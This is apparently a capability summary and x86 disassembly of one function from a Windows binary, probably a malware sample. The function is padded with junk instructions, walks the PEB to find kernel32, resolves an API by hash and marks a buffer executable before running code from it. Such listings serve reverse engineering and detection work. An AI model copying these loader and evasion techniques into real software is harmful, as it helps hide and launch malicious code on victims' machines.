Function at 0x401830
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x401b30
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
sub cx, 0x1f9
mul edi
dec cx
mul di
mul ebx
sub ax, 0x22b
or edi, ebx
shr cx, 2
rcl eax, 0x6e
rol ax, 0x19
rcl cx, 0xcb
mul si
mov si, 0x1b0
rcr esi, 0xed
inc si
dec dx
movsx ebx, si
movsx ecx, si
rcl cx, 0x33
mov edx, esi
shr ax, 0xb9
dec cx
ja 0x4018b0
test edx, 0x43
ja 0x4018d1
dec bx
imul eax
jmp 0x4018c0
rol bx, 0x64
sub di, cx
ror esi, 0x18
ror ecx, 0xef
movsx ebx, bx
rcl eax, 0x5b
mul esi
jae 0x4018d1
inc ax
movsx ecx, si
rcr ebx, 0x8e
jmp 0x4018ec
and ecx, 0x33b
ror edx, 0x56
rcr di, 0xc6
or esi, 0x389
movzx edi, ax
movsx edi, si
imul edx
mul cx
ror ax, 0x4e
sub ebx, 0xb9
rcl cx, 0x60
jb 0x40190b
imul si
mul eax
inc esi
xor bx, dx
inc ebx
jmp 0x40191d
mul eax
add eax, edi
mov ax, 0x2a4
mul ebx
ror edi, 0xfc
xor di, 0xdb
movsx ecx, di
dec bx
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x48bd58], eax
push 0x27
push 0x48981e
push 0x547
push 0x489845
call section..text
add esp, 0x10
push 0x8aafdc01
push dword [0x48bd58]
call fcn.00401510
add esp, 8
lea ecx, [ebp - 0x34]
push ecx
push 0x40
push 0x4e4
push 0x489845
call eax
test eax, eax
je 0x401a4b
mov dword [ebp - 0x30], 0x4017c0
push 0xb0
call fcn.00409a4e
add esp, 4
mov ecx, eax
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x20], ecx
push eax
call fcn.004046f0
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x28], edx
mov byte [ebp - 0x24], 1
lock inc dword [edx + 4]
lock dec dword [edx + 4]
jne 0x4019da
mov ecx, dword [edx + 0x78]
test ecx, ecx
je 0x4019d2
mov eax, dword [ecx]
push edx
call dword [eax]
jmp 0x4019da
mov eax, dword [edx]
mov ecx, edx
push 1
call dword [eax]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x2c], 1
test ecx, ecx
je 0x401a5e
cmp byte [ecx + 0x6c], 0
jne 0x401a5e
mov eax, dword [ecx]
mov eax, dword [eax + 8]
mov dword [ebp - 0x10], 1
push 1
call eax
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x401a28
lock dec dword [eax + 4]
jne 0x401a28
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x401a20
mov edx, dword [ecx]
push eax
call dword [edx]
jmp 0x401a28
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x401a4b
lock dec dword [eax + 4]
jne 0x401a4b
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x401a43
mov edx, dword [ecx]
push eax
call dword [edx]
jmp 0x401a4b
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
xor eax, eax
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x10], 1
push 4
call fcn.004022e0
add esp, 4
nop
push ebp
sub esp, 0x10
add ebp, 0xc
lea ecx, [ebp - 0x30]
call fcn.004022a0
lea ecx, [ebp - 0x28]
call fcn.004022a0
add esp, 0x10
pop ebp
ret